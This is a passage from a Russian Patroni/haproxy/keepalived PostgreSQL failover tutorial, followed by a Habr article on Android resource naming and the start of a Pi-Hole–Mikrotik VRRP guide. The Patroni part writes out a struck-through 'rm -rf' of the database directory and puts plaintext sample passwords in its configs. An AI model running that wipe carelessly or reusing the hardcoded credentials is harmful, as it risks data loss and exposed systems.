patroni_replicator_password: flsdjkfasdjhfsd
cluster_virtual_ip: 192.xx.xx.125
А отдельную для каждого сервера - в каталоге host_vars/имя_сервера:
patroni\_node\_name: cluster\_pgsql\_01
keepalived\_priority: 99
```
Расшифрую для чего нужны некоторые переменные:
patroni\_scope — название кластера при регистрации в Consul
patroni\_node\_name — название сервера при регистрации в Consul
patroni\_rest\_password — пароль для http интерфейса Patroni (требуется для отправки команд на изменение кластера)
patroni\_postgres\_password: пароль для юзера postgres. Он устанавливается в случае создания patroni новой базы.
patroni\_replicator\_password — пароль для юзера replicator. От его имени осуществляется репликация на слейвы.
Также в этом файле перечислены некоторые другие переменные, используемые в других плейбуках или ролях, в частности тот может быть настройка ssh (ключи, пользователи), таймзона для сервера, приоритет сервера в кластере keepalived, и.т.п.
Конфигурация для остальных серверов аналогична, соответственно меняется имя сервер и приоритет (например 99-100-101 для трех серверов).
Установка и настройка haproxy:
**/etc/ansible/roles/ansible-role-patroni/tasks/haproxy.yml**
```
---
- name: Install haproxy
yum: name={{ item }} state=latest
tags:
- patroni
- haproxy
with_items:
- haproxy
when: install is defined
- name: put config
template: src=haproxy.cfg.j2 dest=/etc/haproxy/haproxy.cfg backup=yes
tags:
- patroni
- haproxy
- name: restart and enable
service: name=haproxy state=restarted enabled=yes
tags:
- patroni
- haproxy
```
Haproxy устаналивается на каждом хосте, и содержит в своем конфиге ссылки на все сервера PostgreSQL, проверяет какой сервер сейчас является мастером, и отправляет запросы на него.
Для этой проверки используется прекрасная фича Patroni — REST интерфейс.
При обращении на урл [server](http://server):8008 (8008 это порт по умолчанию) Patroni возвращает отчет по состоянию кластера в json, а также отражает кодом ответа http является ли данный сервер мастером. Если является — будет ответ с кодом 200. Если же нет, ответ с кодом 503.
Очень советую обратится в документацию на Patroni, http интерфейс там достаточно интересный, позволяется также принудительно переключать роли, и управлять кластером.
Аналогично, это можно делать при помощи консольной утилиты patronyctl.py, из поставки Patroni.
Конфигурация haproxy достаточно простая:
**/etc/ansible/roles/ansible-role-patroni/templates/haproxy.cfg**
```
global
maxconn 800
defaults
log global
mode tcp
retries 2
timeout client 30m
timeout connect 4s
timeout server 30m
timeout check 5s
frontend ft_postgresql
bind *:5000
default_backend postgres-patroni
backend postgres-patroni
option httpchk
http-check expect status 200
default-server inter 3s fall 3 rise 2
server {{ patroni_node_name }} {{ patroni_node_name }}.local:5432 maxconn 300 check port 8008
server {{ patroni_node_name }} {{ patroni_node_name }}.local:5432 maxconn 300 check port 8008
server {{ patroni_node_name }} {{ patroni_node_name }}.local:5432 maxconn 300 check port 8008
```
В соответствии с этой конфигурацией haproxy слушает порт 5000, и отправляет трафик с него на мастер сервер.
Проверка статуса происходит с интервалом в 1 секунду, для перевода сервера в даун требуется 3 неудачных ответа (код 500), для переключения сервера назад — 2 удачных ответа (с кодом 200).
В любой момент времени можно обратиться непосредственно на любой haproxy, и он корректно запроксирует трафик на мастер сервер.
Также в комплекте с Patroni есть шаблон для настройки демона confd, и пример его интеграции с etcd, что позволяет динамически менять конфиг haproxy при удалении или добавлении новых серверов.
Я же пока делаю достаточно статичный кластер, лишняя автоматизация в данной ситуации, имхо, может привести к непредвиденным проблемам.
Нам хотелось, чтобы на клиентах особые изменения логики, отслеживание серверов на живости и т.д. не требовались, поэтому мы делаем единую точку входа в кластер с помощью keepalived.
Демон keepalived работает по протоколу vrrp со своими соседями, и в результате выборов одного из демонов как главного (приоритет указан в конфиге, и шаблонизирован в переменную keepalived\_priority в host\_vars для каждого сервера), он поднимает у себя виртуальный ip адрес.
Остальные демоны терпеливо ждут. Если текущий основной сервер keepalived по какой-то причине умрет либо просигналит соседям аварию, произойдут перевыборы, и следуюший по приоритету сервер заберет себе виртуальный ip адрес.
Для защиты от падения haproxy демоны keepalived выполняют проверку, запуская раз в секунду команду «killall -0 haproxy». Она возвращает код 0 если процесс haproxy есть, и 1 если его нет.
Если haproxy исчезнет, демон keepalived просигналит аварию по vrrp, и снимет виртуальный ip.
Виртуальный IP сразу же подхватит следующий по приоритету сервер, с живым haproxy.
Установка и настройка keepalived:
**/etc/ansible/roles/ansible-role-patroni/tasks/keepalived.yml**
```
---
- name: Install keepalived
yum: name={{ item }} state=latest
tags:
- patroni
- keepalived
with_items:
- keepalived
when: install is defined
- name: put alert script
template: src=alert.sh.j2 dest=/usr/local/sbin/alert.sh backup=yes mode=755
tags:
- patroni
- keepalived
when: install is defined
- name: put config
template: src=keepalived.conf.j2 dest=/etc/keepalived/keepalived.conf backup=yes
tags:
- patroni
- keepalived
- name: restart and enable
service: name=keepalived state=restarted enabled=yes
tags:
- patroni
- keepalived
```
Кроме установки keepalived, этот плейбук также копирует простой скрипт для отправки алертов через телеграм. Скрипт принимает сообщение в виде переменной, и просто дергает curl-ом API телеграма.
В этом скрипте только нужно указать свои токен и ID группы telegram для отсылки оповещений.
Конфигурация keepalived описана в виде jinja2 шаблона:
**/etc/ansible/roles/ansible-role-patroni/templates/keepalived.conf.j2**
```
global_defs {
router_id {{ patroni_node_name }}
}
vrrp_script chk_haproxy {
script "killall -0 haproxy"
interval 1
weight -20
debug
fall 2
rise 2
}
vrrp_instance {{ patroni_node_name }} {
interface ens160
state BACKUP
virtual_router_id 150
priority {{ keepalived_priority }}
authentication {
auth_type PASS
auth_pass secret_for_vrrp_auth
}
track_script {
chk_haproxy weight 20
}
virtual_ipaddress {
{{ cluster_virtual_ip }}/32 dev ens160
}
notify_master "/usr/bin/sh /usr/local/sbin/alert.sh '{{ patroni_node_name }} became MASTER'"
notify_backup "/usr/bin/sh /usr/local/sbin/alert.sh '{{ patroni_node_name }} became BACKUP'"
notify_fault "/usr/bin/sh /usr/local/sbin/alert.sh '{{ patroni_node_name }} became FAULT'"
}
```
В переменные patroni\_node\_name, cluster\_virtual\_ip и keepalived\_priority транслируются соответствующие данные из host\_vars.
Также в конфиге keepalived указан скрипт для отправки сообщений о смене статуса в telegram канал.
Накатываем полную конфигурацию кластера на сервера:
```
~# ansible-playbook cluster-pgsql.yml
```
Поскольку Ansible идемпотентен, т.е. выполняет шаги только если они не были выполнены ранее, можно запустить плейбук без дополнительных параметров.
Если же не хочется дольше ждать, или вы уверены что сервера полностью готовы, можно запустить ansible-playbook с ключом -t patroni.
Тогда будут выполнены только шаги из роли Patroni.
Отмечу что я не указываю отдельно роли серверов — мастер или слейв. Данная конфигурация создаст пустую базу, и мастером просто станет первый сконфигурированный сервер.
При добавлении новых серверов Patroni увидит через DCS что мастер кластера уже есть, автоматически скопирует с текущего мастера базу, и подключит к нему слейв.
В случае запуска слейва отставшего на какое-то время от мастера, Patroni автоматически вольет изменения при помощи pg\_rewind.
Убеждаемся что все сервера запустились и выбрали себе роли:
```
~# journalctl -f -u patroni
```
Сообщения со слейва (сервер cluster-pgsql-01):
**спойлер**`Feb 17 23:50:32 cluster-pgsql-01.local patroni.py[100626]: 2017-02-17 23:50:32,254 INFO: Lock owner: cluster_pgsql_02; I am cluster_pgsql_01
Feb 17 23:50:32 cluster-pgsql-01.local patroni.py[100626]: 2017-02-17 23:50:32,255 INFO: Lock owner: cluster_pgsql_02; I am cluster_pgsql_01
Feb 17 23:50:32 cluster-pgsql-01.local patroni.py[100626]: 2017-02-17 23:50:32,255 INFO: does not have lock
Feb 17 23:50:32 cluster-pgsql-01.local patroni.py[100626]: 2017-02-17 23:50:32,255 INFO: no action. i am a secondary and i am following a leader`
Сообщения с мастера (в данном случае это сервер cluster-pgsql-02):
**спойлер**`Feb 17 23:52:23 cluster-pgsql-02.local patroni.py[4913]: 2017-02-17 23:52:23,457 INFO: Lock owner: cluster_pgsql_02; I am cluster_pgsql_02
Feb 17 23:52:23 cluster-pgsql-02.local patroni.py[4913]: 2017-02-17 23:52:23,874 INFO: Lock owner: cluster_pgsql_02; I am cluster_pgsql_02
Feb 17 23:52:24 cluster-pgsql-02.local patroni.py[4913]: 2017-02-17 23:52:24,082 INFO: no action. i am the leader with the lock
Feb 17 23:52:33 cluster-pgsql-02.local patroni.py[4913]: 2017-02-17 23:52:33,458 INFO: Lock owner: cluster_pgsql_02; I am cluster_pgsql_02
Feb 17 23:52:33 cluster-pgsql-02.local patroni.py[4913]: 2017-02-17 23:52:33,884 INFO: Lock owner: cluster_pgsql_02; I am cluster_pgsql_02
Feb 17 23:52:34 cluster-pgsql-02.local patroni.py[4913]: 2017-02-17 23:52:34,094 INFO: no action. i am the leader with the lock`
По логам ясно видно что каждый сервер постоянно мониторит свой статус и статус мастера.
Попробуем остановить мастер:
```
~# systemctl stop patroni
```
**спойлер**`Feb 17 23:54:03 cluster-pgsql-02.local patroni.py[4913]: 2017-02-17 23:54:03,457 INFO: Lock owner: cluster_pgsql_02; I am cluster_pgsql_02
Feb 17 23:54:03 cluster-pgsql-02.local patroni.py[4913]: 2017-02-17 23:54:03,880 INFO: Lock owner: cluster_pgsql_02; I am cluster_pgsql_02
Feb 17 23:54:04 cluster-pgsql-02.local patroni.py[4913]: 2017-02-17 23:54:04,092 INFO: no action. i am the leader with the lock
Feb 17 23:54:11 cluster-pgsql-02.local systemd[1]: Stopping Runners to orchestrate a high-availability PostgreSQL...
Feb 17 23:54:13 cluster-pgsql-02.local patroni.py[4913]: waiting for server to shut down.... done
Feb 17 23:54:13 cluster-pgsql-02.local patroni.py[4913]: server stopped`
А вот что в этот момент произошло на слейве:
**спойлер**`Feb 17 19:54:12 cluster-pgsql-01 patroni.py: 2017-02-17 23:54:12,353 INFO: does not have lock
Feb 17 19:54:12 cluster-pgsql-01 patroni.py: 2017-02-17 23:54:12,776 INFO: no action. i am a secondary and i am following a leader
Feb 17 19:54:13 cluster-pgsql-01 patroni.py: 2017-02-17 23:54:13,440 WARNING: request failed: GET http://192.xx.xx.121:8008/patroni (HTTPConnectionPool(host='192.xx.xx.121', port=8008
): Max retries exceeded with url: /patroni (Caused by NewConnectionError(': Failed to establish a new connection: [Er
rno 111] Connection refused',)))
Feb 17 19:54:13 cluster-pgsql-01 patroni.py: 2017-02-17 23:54:13,444 INFO: Got response from cluster\_pgsql\_03 http://192.xx.xx.122:8008/patroni: {"database\_system\_identifier": "63847
30077944883705", "postmaster\_start\_time": "2017-02-17 05:36:52.388 MSK", "xlog": {"received\_location": 34997272728, "replayed\_timestamp": null, "paused": false, "replayed\_location": 34997272
728}, "patroni": {"scope": "clusters-pgsql", "version": "1.2.3"}, "state": "running", "role": "replica", "server\_version": 90601}
Feb 17 19:54:13 cluster-pgsql-01 patroni.py: server promoting
Feb 17 19:54:13 cluster-pgsql-01 patroni.py: 2017-02-17 23:54:13,961 INFO: cleared rewind flag after becoming the leader
Feb 17 19:54:14 cluster-pgsql-01 patroni.py: 2017-02-17 23:54:14,179 INFO: promoted self to leader by acquiring session lock
Feb 17 19:54:23 cluster-pgsql-01 patroni.py: 2017-02-17 23:54:23,436 INFO: Lock owner: cluster\_pgsql\_01; I am cluster\_pgsql\_01
Feb 17 19:54:23 cluster-pgsql-01 patroni.py: 2017-02-17 23:54:23,857 INFO: Lock owner: cluster\_pgsql\_01; I am cluster\_pgsql\_01
Feb 17 19:54:24 cluster-pgsql-01 patroni.py: 2017-02-17 23:54:24,485 INFO: no action. i am the leader with the lock`
Этот сервер перехватил роль мастера на себя.
А теперь вернем сервер 2 обратно в кластер:
```
~# systemctl start patroni
```
**Заголовок спойлера**`Feb 18 00:02:11 cluster-pgsql-02.local systemd[1]: Started Runners to orchestrate a high-availability PostgreSQL.
Feb 18 00:02:11 cluster-pgsql-02.local systemd[1]: Starting Runners to orchestrate a high-availability PostgreSQL...
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:13,186 INFO: Lock owner: cluster_pgsql_01; I am cluster_pgsql_02
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:13,190 WARNING: Postgresql is not running.
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:13,190 INFO: Lock owner: cluster_pgsql_01; I am cluster_pgsql_02
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:13,398 INFO: Lock owner: cluster_pgsql_01; I am cluster_pgsql_02
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:13,400 INFO: starting as a secondary
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:13,412 INFO: rewind flag is set
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:13,609 INFO: Lock owner: cluster_pgsql_01; I am cluster_pgsql_02
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:13,609 INFO: Lock owner: cluster_pgsql_01; I am cluster_pgsql_02
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:13,609 INFO: changing primary_conninfo and restarting in progress
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:13,631 INFO: running pg_rewind from user=superuser host=192.xx.xx.120 port=5432 dbname=postgres sslmode=prefer sslcompression=1
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: servers diverged at WAL position 8/26000098 on timeline 25
Feb 18 00:02:13 cluster-pgsql-02.local patroni.py[56855]: rewinding from last common checkpoint at 8/26000028 on timeline 25
Feb 18 00:02:14 cluster-pgsql-02.local patroni.py[56855]: Done!
Feb 18 00:02:14 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:14,535 INFO: postmaster pid=56893
Feb 18 00:02:14 cluster-pgsql-02.local patroni.py[56855]: < 2017-02-18 00:02:14.554 MSK > LOG: redirecting log output to logging collector process
Feb 18 00:02:14 cluster-pgsql-02.local patroni.py[56855]: < 2017-02-18 00:02:14.554 MSK > HINT: Future log output will appear in directory "pg_log".
Feb 18 00:02:15 cluster-pgsql-02.local patroni.py[56855]: localhost:5432 - accepting connections
Feb 18 00:02:15 cluster-pgsql-02.local patroni.py[56855]: localhost:5432 - accepting connections
Feb 18 00:02:15 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:15,790 INFO: Lock owner: cluster_pgsql_01; I am cluster_pgsql_02
Feb 18 00:02:15 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:15,791 INFO: Lock owner: cluster_pgsql_01; I am cluster_pgsql_02
Feb 18 00:02:15 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:15,791 INFO: does not have lock
Feb 18 00:02:15 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:15,791 INFO: establishing a new patroni connection to the postgres cluster
Feb 18 00:02:16 cluster-pgsql-02.local patroni.py[56855]: 2017-02-18 00:02:16,014 INFO: no action. i am a secondary and i am following a leader`
Patroni обнаружила что подключается к кластеру с имеющимся мастером, и обновив базу до текущего состояния, корректно приняла на себя роль слейва.
Попробуем создать ошибку на другом слое кластера, остановив haproxy на основном сервере keepalived.
По приоритету, эту роль у меня принимает второй сервер:
> `[root@cluster-pgsql-02 ~]# ip a
>
> 2: ens160: mtu 1500 qdisc mq state UP qlen 1000
>
> link/ether 00:50:56:a9:b8:7b brd ff:ff:ff:ff:ff:ff
>
> inet 192.xx.xx.121/24 brd 192.168.142.255 scope global ens160
>
> valid\_lft forever preferred\_lft forever
>
> **inet 192.xx.xx.125/32 scope global ens160 <---- виртуальный адрес кластера**
>
> valid\_lft forever preferred\_lft forever
>
> inet6 fe80::xxx::4895:6d90/64 scope link
>
> valid\_lft forever preferred\_lft forever`
>
>
Остановим haproxy:
```
~# systemctl stop haproxy ; journalctl -fl
```
> `Feb 18 00:18:54 cluster-pgsql-02.local Keepalived_vrrp[25018]: VRRP_Script(chk_haproxy) failed
>
> Feb 18 00:18:56 cluster-pgsql-02.local Keepalived_vrrp[25018]: VRRP_Instance(cluster_pgsql_02) Received higher prio advert
>
> Feb 18 00:18:56 cluster-pgsql-02.local Keepalived_vrrp[25018]: VRRP_Instance(cluster_pgsql_02) Entering BACKUP STATE
>
> Feb 18 00:18:56 cluster-pgsql-02.local Keepalived_vrrp[25018]: VRRP_Instance(cluster_pgsql_02) removing protocol VIPs.
>
> Feb 18 00:18:56 cluster-pgsql-02.local Keepalived_vrrp[25018]: Opening script file /usr/bin/sh
>
> Feb 18 00:18:56 cluster-pgsql-02.local Keepalived_healthcheckers[25017]: Netlink reflector reports IP 192.xx.xx.125 removed`
Keepalived отловил проблему, и убрал с себя виртуальный адрес, а также просигналил об этом соседям.
Смотрим что произошло на втором сервере:
> `Feb 18 00:18:56 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) forcing a new MASTER election
>
> Feb 18 00:18:56 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) forcing a new MASTER election
>
> Feb 18 00:18:56 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) forcing a new MASTER election
>
> Feb 18 00:18:56 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) forcing a new MASTER election
>
> Feb 18 00:18:57 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) Transition to MASTER STATE
>
> Feb 18 00:18:58 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) Entering MASTER STATE
>
> Feb 18 00:18:58 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) setting protocol VIPs.
>
> Feb 18 00:18:58 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) Sending gratuitous ARPs on ens160 for 192.xx.xx.125
>
> Feb 18 00:18:58 cluster-pgsql-01.local Keepalived_vrrp[41190]: Opening script file /usr/bin/sh
>
> Feb 18 00:18:58 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) Received lower prio advert, forcing new election
>
> Feb 18 00:18:58 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) Sending gratuitous ARPs on ens160 for 192.xx.xx.125
>
> Feb 18 00:18:58 cluster-pgsql-01.local Keepalived_healthcheckers[41189]: Netlink reflector reports IP 192.xx.xx.125 added
>
> Feb 18 00:18:58 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) Received lower prio advert, forcing new election
>
> Feb 18 00:18:58 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) Sending gratuitous ARPs on ens160 for 192.xx.xx.125
>
> Feb 18 00:19:03 cluster-pgsql-01.local Keepalived_vrrp[41190]: VRRP_Instance(cluster_pgsql_01) Sending gratuitous ARPs on ens160 for 192.xx.xx.125`
Дважды произошли перевыборы (потому что третий сервер кластера успел отправить свой анонс до первых выборов), сервер 1 принял на себя роль ведущего, и выставил виртуальный IP.
Убеждаемся в этом:
> `[root@cluster-pgsql-01 log]# ip a
>
> 2: ens160: mtu 1500 qdisc mq state UP qlen 1000
>
> link/ether 00:50:56:a9:f0:90 brd ff:ff:ff:ff:ff:ff
>
> inet 192.xx.xx.120/24 brd 192.xx.xx.255 scope global ens160
>
> valid\_lft forever preferred\_lft forever
>
> **inet 192.xx.xx.125/32 scope global ens160 <---- виртуальный адрес кластера присутствует!**
>
> valid\_lft forever preferred\_lft forever
>
> inet6 fe80::1d75:40f6:a14e:5e27/64 scope link
>
> valid\_lft forever preferred\_lft forever`
Теперь виртуальный IP присутствует на сервере, не являющимся мастером репликации. Однако это не имеет значения, поскольку в базу мы обращаемся через haproxy, а она мониторит состояние кластера независимо, и отправляет запросы всегда на мастер.
При возврате в строй haproxy на втором сервере снова происходят перевыборы (keepalived с бОльшим приоритетом встает в строй), и виртуальный IP возвращается на свое место.
В редких случаях бывает что слейв не может догнаться до мастера (например он упал очень давно и wal журнал успел частично удалиться). В таком случае можно полностью очистить директорию с базой на слейве:
~~«rm -rf /var/lib/pgsql/9.6/data», и перезапустить Patroni. Она сольет базу с мастера целиком.
*(Осторожно с очисткой «ненужных» баз, внимательно смотрите на каком сервере вы выполняете команду!!!)*~~
В таком случае нужно воспользоваться утилитой patronictl. Команда reinit позволяет безопасно очистить конкретный узел кластера, на мастере она выполняться не будет.
Спасибо за дополнение [CyberDemon](https://habrahabr.ru/users/cyberdemon/).
Сама утилита patronictl позволяет увидеть текущую ситуацию с кластером через командную строку, без обращений в DCS, и управлять кластером.
Пример отчета о состоянии кластера:
/opt/patroni/patronictl.py -c /etc/patroni/postgres.yml list cluster-pgsql:
>
> ```
>
> +---------------+------------------+-----------------+--------------+------------------+-----------+
> | Cluster | Member | Host | Role | State | Lag in MB |
> +---------------+------------------+-----------------+--------------+------------------+-----------+
> | cluster-pgsql | cluster_pgsql_01 | 192.xxx.xxx.120 | Leader | running | 0.0 |
> | cluster-pgsql | cluster_pgsql_02 | 192.xxx.xxx.121 | Sync standby | running | 0.0 |
> | cluster-pgsql | cluster_pgsql_03 | 192.xxx.xxx.122 | | creating replica | 33712.0 |
> +---------------+------------------+-----------------+--------------+------------------+-----------+
> ```
>
>
>
В данном случае наливается третья нода, ее отставание от мастера составляет 33 Гб.
После завершения этого процесса она также переходит в состояние Running с нулевым лагом.
Также можно обратить внимание что поле State у нее пустое. Это потому, что кластер в моем случае работает в синхронном режиме. Для уменьшения лага синхронной репликации, один слейв работает в синхронном режиме, а другой в обычном асинхронном. В случае пропадания мастера роли сместятся, и второй слейв перейдет в синхронный режим к ставшему мастером, первому слейву.
### Послесловие
Единственное чего этому кластеру, на мой взгляд, не хватает для счастья — это пулинг коннектов и проксирование запросов на чтение на все слейвы для повышения производительности чтения, а запросов на вставки и обновления только на мастер.
В конфигурации с асинхронной репликацией, раскладывание нагрузки на чтение может привести к непредвиденным ответам, если слейв отстанет от мастера, это нужно учитывать.
Стриминговая (асинхронная) репликация не обеспечивает консистентности кластера в любой момент времени, и для этого нужна синхронная репликация.
В этом режиме мастер сервер будет ждать получения подтверждений о копировании и применении транзакций на слейвы, что замедлит работу базы. Однако если потери транзакций недопустимы (например какие-то финансовые приложения), синхронная репликация это ваш выбор.
Patroni поддерживает все варианты, и если синхронная репликация вам подойдет больше, вам всего лишь понадобится изменить значение нескольких полей в конфигах Patroni.
Вопросы разных методов репликации прекрасно разобраны в документации к Patroni.
Кто-то наверное предложит использовать pgpool который сам, по сути, покрывает весь функционал этой системы. Он может и мониторить базы, и проксировать запросы, и выставлять виртуальный IP, а также осуществляет пулинг коннектов клиентов.
Да, он все это может. Но на мой взгляд схема с Patroni гораздо прозрачнее (конечно это только мое мнение), и во время экспериментов с pgpool я ловил странное поведение с его вочдогом и виртуальными адресами, которое не стал пока слишком глубоко дебажить, решив поискать другое решение.
Конечно возможно, что проблема тут только моих в руках, и позже я к тестированию pgpool планирую вернуться.
Однако, в любом случае, pgpool не сможет полностью автоматически управлять кластером, вводом новых и (особенно) возвратом сбойных серверов, работать с DCS. На мой взгляд это самый интересный функционал Patroni.
Спасибо за внимание, буду рад увидеть предложения по дальнейшему улучшению этого решения, и ответить на вопросы в комментариях.
Огромное спасибо Zalando за Patroni, и авторам исходного проекта [Governor](https://github.com/compose/governor), который послужил основой для Patroni, а также [Алексу Чистякову](https://github.com/alexclear) за шаблон роли для Ansible.
Полный код плейбуков и шаблонов Ansible, описанных в статье [лежит тут](https://github.com/imcitius/ansible-pgsql_patroni_cluster). Буду благодарен за доработки от гуру Ansible и PostgreSQL. :)
Основные использованные статьи и источники:
Несколько вариантов кластеров PgSQL:
→ <https://habrahabr.ru/post/301370/>
→ <https://habrahabr.ru/post/213409/>
→ <https://habrahabr.ru/company/etagi/blog/314000/>
→ [Пост о Patroni в блоге Zalando](https://tech.zalando.com/blog/zalandos-patroni-a-template-for-high-availability-postgresql/)
→ [Проект Patroni](https://github.com/zalando/patroni)
→ [ansible-role-patroni Алекса Чистякова](https://github.com/gitinsky/ansible-role-patroni)
→ [Governor](https://github.com/compose/governor) — к сожалению разработка давно заморожена.
→ [Книга Ansble for Devops](https://www.ansiblefordevops.com/) — прекрасный учебник с кучей примеров применения Ansible. | https://habr.com/ru/post/322036/ | null | ru | null |
# Советы по именованию ресурсов в Android
Андроид позволяет держать все текстовые константы в xml файлах. Тоже самое касается и многих других вещей, например, идентификаторов. И если ваше приложение чуть сложнее HelloWorld, то неправильное поименование может сильно повлиять на производительность вашего труда и качество конечного продукта.
Пока я программировал для Андроид, то я сделал для себя пару правил, которые немного улучшают мою жизнь при работе с ресурсами (то самое магическое R):
#### Имя ресурса должно отображать его суть (самое очевидное правило)
Например,
> `<string name="set\_as\_wallpaper">As wallpaperstring>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Не ленитесь переименовывать автоматически сгенерированные идентификаторы, ибо они только замусорят остальные идентификаторы почти бессмысленными названиями.
#### Имя ресурса должно начинаться с его главной логической области
* если это название тайтла в меню, то оно должно начинаться с menu
* если это название тайтла в диалоге, то оно должно начинаться с dialog
* если это строка для тоста, то начинается с toast
* если строка связанна с каким-то вашим классом, то пусть название начинается именно с имени этого класса
#### Если строка или идентификатор относятся строго к какому-то контексту (например, Activity), то после логического названия должно идти название этого контекста
Например,
* menu\_**main**\_send (пункт меню находится в activity Main)
* toast\_**add\_image**\_success (тост предназначен для activity AddImage)
#### Названия должны начинаться с имени файла, в котором они находятся
В большей части это относится к идентификаторам в layout-ах. Это следует делать из-за того, что фрэймворк сваливает все идентификаторы в одну кучу и если этого не делать, то становится сложно разобраться где идентификатор находится «физически».
#### Название должно идти по уровням
Т.е. главный логический уровень, имя файла, элемент, описание строки
* dialog\_main\_button\_search (это относится прежде всего к Диалогу. Находится в Activity **Main**. Это для кнопки. Это надпись поиск)
* toast\_error\_while\_loading\_roller\_image (это прежде всего текст для Тоста. Это ошибка. Описание
#### Итого
Главная выгода такого подхода заключается в быстром поиске через авто-комплит в Eclipse. Если вы, например, определяете меню в коде, то чтобы найти определенный заголовок для какого-то пункта, достаточно набрать R.string.menu\_ и вы сразу же увидите все возможные названия. Тоже самое касается поиска view внутри Activity, достаточно набрать R.id.my\_activity\_name и всё уже как на ладони. Также при таком подходе вам будет намного легче найти где объявлен ресурс.
Если у вас есть какие-либо строковые константы в коде, то не забывайте, что всегда можно простым нажатием Alt+Shift+A быстро перенести их в xml файл. | https://habr.com/ru/post/111153/ | null | ru | null |
# Настраиваем отказоустойчивость Pi-Hole в связке с Mikrotik
В [прошлой статье](https://habr.com/ru/post/468621/) мы внедрили домашний сервер DoH с использованием Pi-Hole, чем не только пофильтровали большое количество рекламы, но и инкапсулировали наши DNS-запросы в HTTPS, что вывело их из поля фильтрации запросов оператором связи.
Всем замечательно это решение, но у него есть один нюанс. Если вдруг у нас закончились деньги на счету у оператора связи или по каким-то другим причинам пропал канал связи до внешнего мира, мы даже не сможем пополнить счет, чтобы восстановить сервис, потому что не будет работать DNS. Или, например, если наш Pi-Hole по каким-то причинам перестал работать - вот вроде и вся сеть работает, и гугл пингуется, а пока не пропишешь другой DNS-сервер - не будет счастья. А если вы еще в этот момент заняты чем-то другим и не можете приступить к восстановлению незамедлительно - домашние негодуют, портят радостное существование своими жалобами и даже котики, чуя общую нервозность, стремятся нагадить вам в тапки.
Огорчать котиков - дело последнее, поэтому в этой статье я опишу, как вы можете внедрить автоматическое переключение с использования Pi-Hole на использование операторских (как, впрочем, и любых других) DNS при проблемах на Pi-Hole.
TL;DR
-----
Настраиваем автоматическое переключение DNS-сервиса между Pi-Hole и Mikrotik, используя протокол VRRP в реализации демона keepalived.
Никаких волшебных know-how не открывается, простая пошаговая инструкция для тех, кому не хочется разбираться во всех хитросплетениях самому.
Что вам для этого потребуется
-----------------------------
1. Внедренное решение Pi-Hole из предыдущей статьи. Понятно, что описываемое решение можно использовать для отказоустойчивости в принципе чего угодно, но в данном конкретном случае мы сосредоточимся на именно этой реализации. Базовый Linux у решения - Ubuntu.
2. Маршрутизатор Mikrotik в качестве бордера. Опять же, подойдет и OpenWRT, и EdgeRouter, и какой-нибудь софтовый на PC, но рассмотреть всё разнообразие в статье не получится никак. Если ваш роутер поддерживает VRRP - он сможет быть частью этого решения, а как конкретно его настраивать, если возникнут сложности, спросите в комментариях к посту. Впрочем, если ваш роутер VRRP не поддерживает - можно всё то же самое построить между двумя Pi-Hole или Pi-Hole и другим DNS-сервером.
Исходные данные
---------------
* IPv4-адрес нашего сервера Pi-Hole в домашней сети: 192.168.1.10 и он назначен как статический.
* IPv4-адрес нашего маршрутизатора в домашней сети: 192.168.1.1 и он назначен как статический на интерфейсе bridge маршрутизатора.
* Новый IPv4-адрес DNS: 192.168.1.9
* Настройки на Linux выполняем от root (т.е. перед началом настройки выполняем команду *sudo -i*).
Логика решения и немного теории
-------------------------------
Чтобы не превращать статью в совсем уж деревянную инструкцию "нажмите третьим пальцем левой руки на кнопку W", расскажу самую базовую теорию того, что мы пытаемся сделать.
